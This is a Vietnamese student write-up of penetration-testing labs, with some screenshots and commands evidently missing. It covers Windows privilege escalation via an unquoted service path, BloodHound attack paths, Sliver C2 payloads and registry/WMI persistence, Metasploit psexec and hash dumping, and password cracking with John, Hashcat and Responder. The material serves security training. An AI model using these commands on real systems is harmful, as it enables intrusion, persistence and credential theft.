Professional Documents
Culture Documents
Lab3 Buiquangbinh
Lab3 Buiquangbinh
Lab3 Buiquangbinh
Mục tiêu:
Sử dụng beRoot.exe và PowerUp để tìm các vấn đề leo thang đặc
quyền cục bộ.
Lạm dụng sự cố cấu hình dịch vụ Windows để leo thang đặc quyền
cục bộ.
1. Log on to Windows
2. Run beRoot.exe
beRoot.exe cung cấp phản hồi ngay lập tức và sẽ hiển thị cho bạn một số
vấn đề có thể xảy ra khi leo thang đặc quyền. Nó sẽ xác định một
sự cố đường dẫn dịch vụ không được trích dẫn với dịch vụ có tên Video
Stream.
Đường dẫn của dịch vụ là C:\Program Files\VideoStream\1337
Log\checklog.exe, nhưng đường dẫn nhị phân của dịch vụ không bao
gồm bất kỳ dấu ngoặc kép nào! Có rất nhiều output.
Việc thiếu dấu ngoặc kép trong PATH là tin tốt cho những kẻ tấn công!
4. Run PowerUp.ps1
Bây giờ hãy thử tập lệnh PowerShell PowerUp.ps1. PowerUp hiện là một
phần của PowerShell Empire và là một trong những cơ chế chính được
sử dụng để thực hiện leo thang đặc quyền cục bộ. Đây là tập lệnh
PowerShell thuần túy và do đó có cơ hội chạy trên máy mục tiêu tốt hơn
beRoot.exe. Trong trường hợp sau, có khả năng tệp thực thi beRoot.exe
của bạn bị chặn do kiểm soát ứng dụng chẳng hạn.
PowerUp.ps1 sẽ thực hiện tất cả các bước kiểm tra leo thang đặc quyền.
Powerup sẽ tìm thấy một số thứ mà beRoot không tìm thấy. hãy cẩn
thận với những kết quả âm tính giả chỉ chạy một công cụ.
5. Review PowerUp’s results
PowerUp sẽ quay lại với một số kết quả có thể thú vị:
Đường dẫn dịch vụ không trích dẫn cho dịch vụ Video Stream (được
xác định bởi BeRoot.exe)
Một số lỗ hổng chiếm quyền điều khiển DLL có thể xảy ra trong thư
mục %PATH%
Một số lỗ hổng liên quan đến quyền thực thi và quyền của dịch vụ
PowerUp cung cấp một cách thuận tiện để lạm dụng các lỗ hổng đã
được xác định. Nếu xem lại các mục được PowerUp báo cáo, bạn sẽ
nhận thấy rằng nó bao gồm AbuseFunction, cung cấp cú pháp sao chép-
dán dễ dàng để cố gắng khai thác các vấn đề đã được xác định.
Để thử điều này đối với dịch vụ Video Stream dễ bị tấn công, chúng tôi
cần cuộn lên một chút đến một số kết quả được báo cáo đầu tiên và sao
chép AbuseFunction được báo cáo: Write-ServiceBinary -ServiceName
'Video Stream' -Path <HijackPath>
Lạm dụng vấn đề về đường dẫn dịch vụ không được trích dẫn đã được
giải thích trong khóa học. Vì tệp thực thi dịch vụ thực tế nằm trong thư
mục C:\Program Files\VideoStream\1337 Log\ và không có khoảng
trống xung quanh full path, Windows cũng sẽ cố gắng thực thi
C:\Program.exe hoặc C:\Program Files\ VideoStream\1337.exe
Bây giờ chúng ta hãy điều chỉnh "HijackPath" và trỏ nó vào một tệp thực
thi có thể được viết bằng câu lệnh sau:
Lệnh PowerUp ở trên sẽ ghi một tệp thực thi độc hại ở vị trí sau! Do chạy
AbuseFunction, nhận thấy rằng tệp thực thi được viết bởi PowerShell sẽ
tạo một người dùng tên là john bằng Password123! như mật khẩu. Sau
đó, người dùng này sẽ được thêm vào nhóm quản trị viên cục bộ.
Khi PowerShell abuse function đã chạy, hãy xác minh xem tệp
C:\Program Files\VideoStream\1337.exe có tồn tại hay không. Nếu đúng
như vậy thì bây giờ chúng ta cần khởi động lại dịch vụ để tệp thực thi
được chạy dưới dạng NT AUTHORITY\SYSTEM.
Vì đây là dịch vụ tự động khởi động nên giải pháp khá đơn giản: khởi
động lại hệ thống!
10. Log on to Windows
Chúc mừng! Chúng ta vừa chuyển từ người dùng không có đặc quyền
quản trị viên lên người dùng có đặc quyền quản trị viên cục bộ!
Chúng ta đã xác định cách phát hiện và khai thác các lỗ hổng leo thang
đặc quyền cục bộ bằng cách sử dụng beRoot và PowerUp. Bằng cách sử
dụng những công cụ này, chúng ta có thể nâng cao đặc quyền của mình
và tạo người dùng mới trên hệ thống với đặc quyền quản trị.
Lab 3.2: BloodHound
Mục tiêu:
Chúng ta sẽ tải cơ sở dữ liệu demo đi kèm với BloodHound
Chúng ta sẽ xem xét một số node để làm quen với công cụ này
Chúng ta sẽ giải thích một số tính năng thú vị nhất của BloodHound
Chúng ta sẽ chạy một trong những truy vấn phổ biến nhất trong
BloodHound (Tìm đường dẫn ngắn nhất tới Domain Admins)
1. Launch BloodHound
Chúng ta có thể xem lại kiểu dữ liệu bằng cách nhấp vào nút Database
Info (bên cạnh Node Info). Bạn sẽ nhận thấy rằng cơ sở dữ liệu này bao
gồm các thông tin sau:
134 users và 157 groups
400 computers
19 active sessions
2204 ACLs
3541 realationships
Thông tin này cung cấp năng lượng cho biểu đồ BloodHound!
3. Review the initial BloodHound graph
DOMAIN ADMINS@TOKYO.JAPAN.LOCAL
4. Compromised Account 1
Giả sử chúng tôi đã xâm phạm tài khoản của YFAN. Hãy xem liệu chúng
ta có thể tìm cách từ tài khoản đó đến Domain Admin hay không. Đầu
tiên chúng ta hãy tìm tài khoản YFAN (không phải YFAN_A ). Bấm vào ô ở
trên cùng bên phải rồi gõ YFAN.
Tiếp theo, nhấp chuột phải vào người dùng và chọn "Mark User as
Owned" (thuật ngữ "Owned" là thuật ngữ hack chỉ tài khoản bị xâm
phạm). Có thể là chúng tôi có một phiên với tư cách là người dùng đó,
kerberos TGT, mật khẩu hoặc hàm băm mật khẩu của họ. Chúng tôi có
thể đánh dấu nhiều principals là "Owned".
Attack path có nghĩa là nếu chúng ta kiểm soát được YFAN thì chúng ta
có thể thay đổi mật khẩu của UYAMASAKI . Người dùng UYAMASAKI là
Domain Admin. Do đó, nếu chúng tôi có quyền truy cập với tư cách
YFAN , chúng tôi có thể dễ dàng có được quyền truy cập Domain Admin.
5. Compromised Account 2
Do đó, trong quá trình thử nghiệm thâm nhập thực tế, đường tấn công
của chúng ta sẽ là:
Mục tiêu:
Tạo nhiều loại tệp để duy trì persistence với Sliver
Tạo một dịch vụ persistence sẽ tạo phiên Sliver
Tạo khóa đăng ký người dùng để persistenct
Sử dụng bộ lọc WMI để phát hiện các lần đăng nhập thất bại nhằm
kích hoạt tính liên tục
Setup Sliver để nhận connections. Khởi động Sliver bằng câu lệnh tương
ứng. Setup a listener on port 443 by running https to start the listener.
Let's take a look at the options with generate bằng câu lệnh generate -h.
Let's create two payloads, one for a service and then one for a standard
executable bằng 2 câu lệnh sau:
generate --os windows --arch 64bit --skip-symbols --format service --
name service --http https://10.130.10.5
Chạy một web server để có thể lấy files trên Windows. Run the python
web server: python3 -m http.server
Hãy xem cấp độ của truy cập bằng câu lệnh: whoami
Dịch vụ chạy dưới dạng SYSTEM mang lại cho chúng ta mức độ truy cập
cao với cơ chế lưu giữ lâu dài.
Chạy lệnh reg để tạo the registry key cho current user bằng câu lệnh:
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
/v "User Persist" /t REG_SZ /F /D
"C:\Users\sec560\Desktop\payload.exe"
Thay vào đó, chúng ta có thể sử dụng HKLM (HKEY Local Machine) và
cách này sẽ hiệu quả với bất kỳ người dùng nào đăng nhập vào hệ thống,
nhưng nó yêu cầu quyền truy cập nâng cao để sử dụng khóa này. Chúng
ta đang sử dụng HKCU (Người dùng hiện tại HKEY) nên không yêu cầu
quyền truy cập nâng cao. Để kiểm tra điều này, chỉ cần đăng xuất khỏi
Windows và đăng nhập lại với tư cách người dùng sec560. Khi đăng nhập
lại bạn sẽ thấy một phiên mới trong Sliver.
Xóa key:
Bộ lọc sự kiện WMI rất linh hoạt về cách kích hoạt payload, ta sẽ thiết
lập một trình xử lý sự kiện cho một lỗi đăng nhập (ID sự kiện 4625) cho
người dùng fakeuser với 3 bước bằng câu lệnh:
$filter = Set-WmiInstance -Namespace root/subscription -Class
__EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name =
"UPDATER"; Query = "SELECT * FROM __InstanceCreationEvent
WITHIN 60 WHERE TargetInstance ISA 'Win32_NTLogEvent' AND
Targetinstance.EventCode = '4625' And Targetinstance.Message Like
'%fakeuser%'"; QueryLanguage = 'WQL'}
Ta đã thiết lập bộ lọc chuyển sang linux mở 1 thiết bị đầu cuối mới và
thử đăng nhập bằng smbclient và fakeuser. Nó mất một lúc để bộ lọc
phát hiện thông tin đăng nhập
Mimikatz
Mục tiêu:
Để sử dụng mô-đun khai thác Metasploit psexec nhằm triển khai tải
trọng Meterpreter tới máy Windows mục tiêu bằng phiên SMB được
xác thực
Để khám phá khả năng của Meterpreter nhằm nhận được các đặc
quyền và kết xuất các hàm băm từ máy mục tiêu
1. Launch Metasploit
Tiếp theo, cần cho Metasploit biết mục tiêu mà nó sẽ khởi chạy psexec ,
cụ thể là Web01, 10.130.10.25 bằng câu lệnh: set RHOST 10.130.10.25
Bây giờ cần đặt LHOST , nơi mà stager Reverse_tcp sẽ kết nối trở lại. Đặt
nó vào giao diện tun0 bằng câu lệnh: set LHOST tun0
Định cấu hình mô-đun khai thác psexec với tên miền hiboxy, tên người
dùng bgreen và mật khẩu Pass1. Người dùng hiboxy\bgreen nằm trong
nhóm quản trị viên của máy này bằng câu lệnh:
3. Meterpreter
Lấy giá trị hash từ mục tiêu bằng cách sử dụng câu lệnh: run
post/windows/gather/smart_hashdump module để dump hash mật
khẩu từ hệ thống.
Thực hiện: run POST/windows/gather/hashdump module.
Chuyển sang máy windows. Ta sẽ tải 1 số thông tin đăng nhập cho người
dùng domain vào bộ nhớ. Coi như bgreen đã đăng nhập vào hệ thống.
This will open a new Notepad windows running as hiboxy\bgreen
5. Running Mimikatz
Thoát khỏi session Meterpreter hiện tại và thiết lập các thông số:
Hashcat
Mục tiêu:
Sử dụng John the Ripper để bẻ khóa một số hàm băm từ Windows và
Linux
Sử dụng Hashcat để bẻ khóa băm mật khẩu từ hệ thống Windows và
Linux
Phân tích cách các tệp quy tắc Hashcat có thể giúp bẻ khóa băm
thành công hơn
So sánh hiệu suất của Hashcat với John the Ripper
1. Benchmark John
John the Ripper (John) đã được cài đặt trong máy ảo. Trước tiên, hãy gọi
John ở chế độ thử nghiệm và thử nghiệm một vài loại hàm băm khác
nhau.
Hãy xem John có thể bẻ khóa mật khẩu LM và MD5 nhanh đến mức nào.
2. Cracking Windows hashes with John (LM)
Bây giờ chúng ta sẽ bẻ khóa một số giá trị băm trong tệp web01.hashes
có trong khóa học Slingshot VM trong thư mục labs. Đây chính là thông
tin chúng tôi lấy từ hệ thống Web01 (10.130.10.5) trong Password
dumping lab.
Theo mặc định, John sẽ tập trung vào giá trị băm LM.
Chạy John: ~/labs/web01.hashes
John đã phát hiện hàm băm là LM (LANMAN). Lưu ý rằng mật khẩu mà
John đã bẻ khóa được viết hoa TẤT CẢ. Đó là bởi vì LM chuyển đổi mọi
thứ thành chữ hoa. Ngoài ra, hãy lưu ý cách John bẻ khóa bảy ký tự đầu
tiên của mật khẩu LM tách biệt với bảy ký tự thứ hai, xử lý mỗi nửa như
thể đó là một mật khẩu khác. Nửa đầu của mật khẩu được biểu thị bằng
tên người dùng:1 và nửa sau là tên người dùng:2.
Nếu John đã bẻ khóa mật khẩu, nó sẽ không cố gắng bẻ khóa mật khẩu
nữa. Để xem mật khẩu đầy đủ (ghép hai phần bảy ký tự của mật khẩu
LM lại với nhau) mà John có thể bẻ khóa, chúng ta có thể chạy nó với tùy
chọn --show:
Lệnh này tìm kiếm các giá trị băm trong web01.hash trong tệp john.pot
để nó có thể in toàn bộ mật khẩu được liên kết với người dùng. Chúng ta
hãy xem tập tin pot.
Sử dụng cat để kiểm tra tệp ~/.john/john.pot.
Trên các hệ thống hiện đại, rất hiếm khi có hàm băm mật khẩu LM. Tuy
nhiên, tình trạng này vẫn thường xuyên xảy ra trên các miền có tài khoản
cũ. Theo kinh nghiệm của tác giả, điều này xảy ra ở khoảng 15% môi
trường. Đây vẫn là một cuộc tấn công khả thi!
Hãy sử dụng John và bẻ khóa hàm băm NT bằng cách sử dụng tùy chọn --
format=nt.
Định dạng NT không chuyển đổi mật khẩu cũng như không phân chia
mật khẩu. Điều này có nghĩa là mật khẩu khó bị bẻ khóa hơn.
Trong trường hợp này, chúng ta có cả hàm băm mật khẩu LM và NT.
Hàm băm LM bị bẻ khóa rất nhanh và cung cấp cho chúng ta mật khẩu
viết hoa.
Chúng ta có thể sử dụng mật khẩu viết hoa này với mật khẩu NT để khôi
phục mật khẩu ban đầu. Nếu nhìn lại, chúng ta có thể thấy rằng chúng ta
đã bẻ khóa hàm băm LM cho vberry, nhưng chúng ta đã không bẻ khóa
hàm băm NT. Chúng ta có thể sử dụng một công cụ trong Metasploit để
giúp hoàn thành quá trình bẻ khóa để có thể lấy mật khẩu phân biệt chữ
hoa chữ thường. Đầu tiên, chúng ta hãy xem dòng vberry từ tệp
web01.hash bằng câu lệnh $ grep vberry ~/labs/web01.hashes
Hàm băm đầu tiên là hàm băm LM và hàm băm thứ hai là hàm băm NT.
Chúng ta sẽ sử dụng mật khẩu viết hoa so với hàm băm NT để lấy mật
khẩu phân biệt chữ hoa chữ thường.
Bản phát hành Jumbo của JtR bao gồm các tính năng bổ sung, bao gồm
tùy chọn --loopback. Tùy chọn này cho phép chúng ta sử dụng tệp pot
(nơi lưu trữ băm/mật khẩu đã bẻ khóa) làm đầu vào cho trình bẻ khóa.
Chúng ta đã lấy hàm băm LM, bẻ khóa nó, sau đó sử dụng hàm băm
không phân biệt chữ hoa chữ thường để bẻ khóa hàm băm NT phân biệt
chữ hoa chữ thường! Rất khó có khả năng chúng ta đoán được
mImiGOTKnENZ2g đầy đủ, phân biệt chữ hoa chữ thường, nhưng cơ chế
lưu trữ LM đã khiến việc này trở nên gần như dễ dàng!
3. Cracking Passwords with John and a Wordlist
Chúng ta không còn băm LM nữa, vì vậy bây giờ chúng ta cần tấn công
hàm băm NT phân biệt chữ hoa chữ thường. Hãy sử dụng danh sách mật
khẩu rockyou.txt. Danh sách này được lấy từ cuộc tấn công năm 2009
vào trang RockYou. Trang web lưu trữ mật khẩu không được mã hóa, ở
dạng văn bản rõ ràng để mọi người có thể đọc được. Chúng ta sẽ sử
dụng danh sách này vì chúng ta biết rằng trước đây hàng triệu người
dùng đã sử dụng những mật khẩu này. Một số người dùng có thể chọn
(hoặc sử dụng lại) mật khẩu từ danh sách này.
Danh sách RockYou nằm ở /opt/passwords/rockyou.txt và chúng ta có
thể sử dụng nó với tùy chọn --wordlist.
Bây giờ hãy thử bẻ khóa một số mật khẩu Linux. Chúng ta đã lưu tệp
/etc/shadow từ Web10 (10.130.10.10) dưới dạng ~/labs/web10.shadow .
Hãy chạy John với tập tin shadow.
Để nó chạy trong một phút, sau đó nhấn CTRL-C hoặc q để thoát. John sẽ
không bẻ khóa những mật khẩu này dựa trên danh sách mặc định của nó.
Hãy sử dụng danh sách RockYou một lần nữa.
Bạn có thể nhớ lại John đã duyệt qua danh sách RockYou nhanh như thế
nào với hàm băm NT. Bạn sẽ nhận thấy rằng thuật toán băm
sha512crypt mất nhiều thời gian hơn để bẻ khóa. Thuật toán này thêm
salt và nhiều vòng băm, không giống như NT không thêm salt và một
vòng băm duy nhất.
Nếu bạn để nó chạy đủ lâu, bạn sẽ bẻ khóa được 11 mật khẩu, nhưng
hiện tại…
Thoát bằng ctrl+c
5. Hashcat basics
Tiếp theo, hãy tìm kiếm các số cụ thể được liên kết với các loại băm nhất
định để chúng ta có thể chỉ ra những số nào sẽ sử dụng với tùy chọn -m.
Chúng ta có thể chỉ cần dẫn đầu ra của sự trợ giúp của Hashcat thông
qua grep để tìm kiếm một số loại hàm băm phổ biến.
Options:
-m hashtype
-a attack-mode
-a 0: straight: ex: letmein & password
-a 1: combination: ex: letmeinpassword & passwordletmein
-a 3: brute force: ex: 0001, 0002, 0003, etc..
-a 6: hybrid + mask: ex: letmein0000, password0000, letmein0001 ..
Hãy bắt đầu bằng việc tìm kiếm các giá trị băm LANMAN, được Hashcat
viết tắt là LM:
Trong đầu ra, ta sẽ thấy một dòng có nội dung 3000 | LM... Điều này cho
thấy rằng để bẻ khóa băm LM, chúng ta gọi Hashcat bằng -m 3000 .
Chúng ta cũng có thể thấy các con số mà Hashcat liên kết với NTLMv1 và
NTLMv2 trong đầu ra của nó ở đây vì mỗi con số khớp với LM mà chúng
ta đã tìm kiếm.
Để xác định số loại hàm băm cần thiết để bẻ khóa các hàm băm MD5
Linux có muối (còn được gọi là md5crypt ), vui lòng chạy:
Ở đây, chúng ta thấy rằng chúng ta nên gọi Hashcat với -m 500 để bẻ
khóa các giá trị băm này, được liên kết với "Operating Systems".
Cuối cùng, hãy tìm cách chỉ định hàm băm SHA512.
Tiếp theo, hãy thực hiện một số thước đo hiệu suất của Hashcat cho các
thuật toán băm phổ biến.
Chúng ta sẽ gọi Hashcat bằng cờ -w 3, nghĩa là chúng ta muốn có
Workload Profile ( -w ) số 3. Các tùy chọn khác nhau cho -w bao gồm:
1 : low. Tác động tối thiểu đến hiệu suất GUI và mức tiêu thụ điện
năng thấp
2 : default. Tác động đáng chú ý đến GUI và mức tiêu thụ điện năng
kinh tế
3 : high. Tiêu thụ điện năng cao và GUI có khả năng không phản hồi
4: nightmare. Tiêu thụ năng lượng điên cuồng và máy chủ không có
đầu vì GUI sẽ không có đủ CPU hoặc GPU để đáp ứng
Chúng ta sẽ bắt đầu với điểm chuẩn để xem hiệu suất bẻ khóa loại băm -
m 3000, còn được gọi là LM hoặc LANMAN bằng câu lệnh $hashcat -w 3
--benchmark -m 3000
Tại đây bạn có thể thấy hiệu suất tính bằng kilohash trên giây ( kH/s ).
Hãy ghi lại tốc độ crack LM trên hệ thống của bạn bằng Hashcat.
Tương tự với md5 có salt là -m 500 và sha521scrypt, hàm băm $6$ được
liên kết với một máy linux là -m 1800:
Sha512scrypt
Sử dụng Hashcat để bẻ khóa mật khẩu từ tệp web01.hash trong thư mục
labs và sử dụng danh sách mật khẩu RockYou.
Mặc dù có thể tấn công các hàm băm LM bằng hashcat ( -m 3000 ),
nhưng chúng ta sẽ tập trung vào các hàm băm NT.
Gọi Hashcat với Workload Profile là 3 ( -w 3 ) để sử dụng nhiều sức mạnh
tính toán nhất có thể trong khi vẫn duy trì một số quyền truy cập GUI,
với chế độ tấn công bằng 0 ( -a 0 ) để sử dụng nguyên trạng từ điển của
chúng ta để bẻ khóa loại băm 1000 , đó là NT ( -m 1000 ). Sau đó, chỉ
định tệp web01.hashes để bẻ khóa và rockyou.txt làm từ điển bằng câu
lệnh:
hashcat -w 3 -a 0 -m 1000 ~/labs/web01.hashes
/opt/passwords/rockyou.txt
Bây giờ chúng ta hãy xem các rule có sẵn trong Hashcat bằng câu lệnh:
ls /usr/local/share/doc/hashcat/rules/
Như bạn có thể thấy, Hashcat có rất nhiều file quy tắc khác nhau. Chúng
ta hãy xem xét một trong những best64.rule hữu ích nhất bằng câu lệnh:
head -n 30 /usr/local/share/doc/hashcat/rules/best64.rule
Khoảng trắng ở trên bị bỏ qua nhưng nó giúp làm cho nó dễ đọc hơn. $0
$0 có nghĩa là mật khẩu00. Trong tệp quy tắc này, bạn sẽ thấy rằng mỗi
từ được thử ở dạng ( : ), đảo ngược ( r ) và tất cả đều là chữ hoa ( u ) và
trường hợp của ký tự đầu tiên được chuyển đổi ( T0 ). Ngoài ra, mỗi từ
( $ ) được lấy và một chữ số duy nhất được áp dụng cho phần cuối của
từ đó ( $0 đến $9 ). Sau đó, chúng tôi lặp lại mỗi từ có một chữ số hai lần
( $0 $0 ), ghi nhớ rằng khoảng trắng bị bỏ qua. Các quy tắc trong tệp này
lặp đi lặp lại và thường khá thông minh.
Hãy áp dụng chúng cho nỗ lực bẻ khóa với tùy chọn -r chỉ định tệp quy
tắc này bằng câu lệnh hashcat -w 3 -a 0 -m 1000 ~/labs/web01.hashes
/opt/passwords/rockyou.txt -r /usr/local/share/doc/hashcat/
rules/best64.rule
Điều này đã tìm thấy thêm hai mật khẩu! Lưu ý trong kết quả ở trên rằng
Hashcat đã loại bỏ 11 giá trị băm vì nó đã bẻ khóa chúng.
Thực hiện xem kết quả bằng câu lệnh: $hashcat -m 1000 --username --
show --outfile-format 2 ~/labs/web01.hashes
Các quy tắc được cung cấp bởi Hashcat rất tuyệt vời nhưng có thể tùy
chỉnh thêm nữa. Nếu muốn nối tất cả các số có hai chữ số có thể, có thể
sử dụng ?d?d . Nếu nhìn kỹ vào best64.rule, nhận thấy nó không sử dụng
tất cả các số có hai chữ số. Hãy thực hiện một cuộc tấn công mask bằng
cách sử dụng tất cả các số có hai chữ số. Ngoài ra, hãy sử dụng Endlish
dictionary làm danh sách mật khẩu cơ bản. Từ điển này được đặt tại
/opt/passwords/english-dictionary-capitalized.txt . Chúng ta sẽ thêm
(thêm vào cuối dự đoán) bằng chế độ 6 (chế độ 7 là prepend).
Hãy xem tất cả mật khẩu đã được cracked bằng câu lệnh: $hashcat -m
1000 --username --show --outfile-format 2 ~/labs/web01.hashes
8: Cracking Linux passwords with Hashcat
Hãy bẻ khóa các hash từ web10 bằng Hashcat, cụ thể là các hash
$6$ được liên kết với sha512crypt.
Có thể rất hữu ích nếu lấy mật khẩu đã bị bẻ khóa và thêm chúng vào
tệp từ điển để không phải áp dụng lại các quy tắc xáo trộn từ cho chúng
trước khi khám phá lại mật khẩu khi nó được băm bằng thuật toán khác.
Nói cách khác, chúng ta đã mangled một số từ và giải mã băm của chúng,
vậy tại sao lại mangle những từ đó nếu chúng ta gặp cùng một mật khẩu
bằng thuật toán băm khác? Chúng ta sẽ hiệu quả hơn nếu lấy những từ
mangled và thêm chúng vào tệp danh sách từ của mình.
Hãy lưu tất cả mật khẩu mà đã bẻ khóa từ hệ thống Windows vào một
tệp. Chúng ta sẽ sử dụng lệnh tương tự như trên, nhưng vì không cần
tên người dùng nên chúng ta sẽ bỏ qua tùy chọn --username.
Bây giờ chúng ta đã thấy cách có thể tạo từ điển chuyên biệt về tên
người dùng và mật khẩu đã bị bẻ khóa để cải thiện tỷ lệ thành công của
Hashcat trong việc bẻ khóa mật khẩu.
Lab 3.6: Responder
Mục tiêu:
Để nhận được NTLMv2 challenge-response bằng cách sử dụng
LLMNR (sử dụng Replyer)
Để bẻ khóa NTLMv2 challenge-response bằng cách sử dụng John The
Ripper, cung cấp cho chúng ta bộ thông tin xác thực hợp lệ
Để trinh thám trao đổi NTLMv2 challenge/response qua SMB
Để sử dụng John the Ripper và hashcat để xác định mật khẩu từ các
thông báo xác thực NTLMv2 được trinh thám
1. Launch Responder
Sau khi Windows xác thực một số lần, ta sẽ thấy hộp thoại này. Ta có thể
chỉ cần đóng nó lại; đã lấy được giá trị băm!
4. Review NTLMv2 challenge/response hash
Trong cửa sổ nơi Responder đang chạy, có thể thấy NTLMv2 challenge-
response đã được ghi lại. Chỉ rõ hàm băm dành cho Clark và được thu
thập từ máy Windows.
Khi nhìn thấy hàm băm, thoát khỏi Responder bằng cách nhấn CTRL+C.
Bạn sẽ thấy rằng Responder đã đầu độc phản hồi cho windows01.local
và windows01 cũng như hàm băm đã thu được. Thấy thông báo rằng
Responder đã nhận được một hàm băm khác từ cùng một người dùng
nhưng không hiển thị nó trên màn hình.
Điều quan trọng cần lưu ý là sự khác biệt giữa hàm băm NTLM và hàm
băm NetNTLMv2:
Hàm băm NTLM (hoặc hàm băm NT) là hàm băm MD4 không có salt
của mật khẩu được Windows sử dụng để lưu trữ mật khẩu trong tệp
SAM (local user) hoặc trong tệp NTDS.dit (domain user). Loại băm
này có thể được sử dụng trong cuộc tấn công Pass-the-Hash!
Hàm băm NetNTLMv2 là một challenge-response có thể được sử
dụng để khởi động một cuộc tấn công brute-force ngoại tuyến. Loại
băm này không thể được sử dụng trong cuộc tấn công Pass-the-Hash,
nhưng có khả năng được chuyển tiếp trong cuộc tấn công SMB
Relaying!
Theo mặc định, các giá trị băm được Responder ghi lại được lưu trong
tệp .txt trong /opt/responder/logs với tên giống với tên tệp bên dưới.
Do đó, tên tệp thực tế của bạn sẽ phụ thuộc vào địa chỉ IP của máy
Windows.
Chúng ta cần chỉ định loại băm mà John (NetNTLMv2) nhắm mục tiêu,
điều này chúng ta có thể thực hiện bằng cách sử dụng --format flag:
Thực hiện câu lệnh:
john --format=netntlmv2 /opt/responder/logs/SMB-NTLMv2-SSP-*
Để xem các giá trị băm đã bị bẻ khóa, chúng ta có thể sử dụng hàm John
show. Thực hiện câu lệnh:
john --show /opt/responder/logs/SMB-NTLMv2-SSP-*.txt
Lệnh này tìm kiếm các giá trị băm trong SMBv2-NTLMv2-SSP-* bên trong
tệp john.pot để có thể in mật khẩu được liên kết với người dùng.
Chuyển sang máy Linux và gọi smbclient để thử truy cập hệ thống
Windows tại 10.130.10.10 qua SMB.
Chỉ cần nhập tên người dùng và mật khẩu giả để chúng tôi không thể xác
thực thành công. Trong khi trao đổi đó diễn ra, chúng tôi sẽ chạy
tcpdump trên Linux để đánh hơi trao đổi đó, sau đó chúng tôi có thể bẻ
khóa.
Một số tình huống được nêu ở đây:
1. Attacker có vị trí trung gian và nắm bắt xác thực.
2. Attacker chạy một dịch vụ và đợi máy quét lỗ hổng kết nối với dịch vụ.
3. Attacker được phép yêu cầu người dùng cố gắn chia sẻ trên máy do kẻ
tấn công điều khiển.
-n bảo nó hiển thị các cổng số và địa chỉ IP thay vì tên cổng và tên máy
chủ trong khi v làm cho tcpdump in ra số lượng gói đã nhận được cho
đến nay. Tùy chọn -w khiến tcpdump đặt các gói của nó vào một tệp
chụp gói cho chúng tôi. Chúng tôi sẽ chỉ tập trung vào các gói được liên
kết với cổng 445.
Trong khi tcpdump đang chạy, trong một thiết bị đầu cuối khác, hãy gọi
smbclient để thực hiện nỗ lực xác thực với máy ảo Windows của bạn.
Để mô phỏng xác thực người dùng, chúng tôi sẽ xác thực với máy ảo
Windows của chúng tôi với tư cách là người dùng sử dụng mật khẩu
Qwerty12 .
Trong terminal Linux khác, gõ: smbclient //10.130.10.25/c$ -U clark
QWerty12
Khi chạy lệnh smbclient -> failed. Trong cửa sổ tcpdump, ta bắt đc 26 gói
tin.
Sử dụng PCredz để trích xuất các hàm băm mật khẩu từ tệp pcap. Công
cụ này có thể trích xuất "Số thẻ tín dụng, NTLM(DCE-RPC, HTTP, SQL,
LDAP, v.v.), Kerberos (AS-REQ Pre-Auth etype 23), HTTP Basic, SNMP,
POP, SMTP, FTP, IMAP, v.v." từ tệp pcap hoặc từ live interface.
Công cụ PCredz đặc biệt ở vị trí và cách thức chạy. Chúng ta cần chạy nó
từ thư mục chứa tệp thực thi Pcredz.
Lưu ý: Tệp thực thi có tên là PCredz nhưng công cụ này được gọi là
PCredz (lưu ý trường hợp thay đổi của chữ "C"). Trong tương lai, chúng
tôi sẽ gọi nó bằng tên thực thi, Pcredz .
Bây giờ, hãy chạy PCredz và trích xuất hàm băm!
Thấy hàm băm trên màn hình và lệnh trước đó tạo một tệp có tên
/opt/pcredz/CredentialDump-Session.log chứa tất cả đầu ra ở trên.
Ngoài ra, công cụ này còn tạo các tệp trong thư mục /opt/pcredz/logs/
được đặt tên theo loại hàm băm được tìm thấy.
Chúng ta hãy xem tệp chứa hàm băm trong thư mục nhật ký.
John đã tìm thấy mật khẩu trong danh sách mật khẩu của nó ở
/usr/local/share/john/password.lst .
Ngoài ra, chúng ta có thể sử dụng hashcat để bẻ khóa hàm băm
NETNTLMv2 này:
Lệnh: hashcat -w 3 -a 0 -m 5600 /opt/pcredz/logs/NTLMv2.txt
/opt/passwords/rockyou.txt
Xem mật khẩu bẻ khóa bằng câu lệnh:
hashcat -m 5600 --show --outfile-format 2
/opt/pcredz/logs/NTLMv2.txt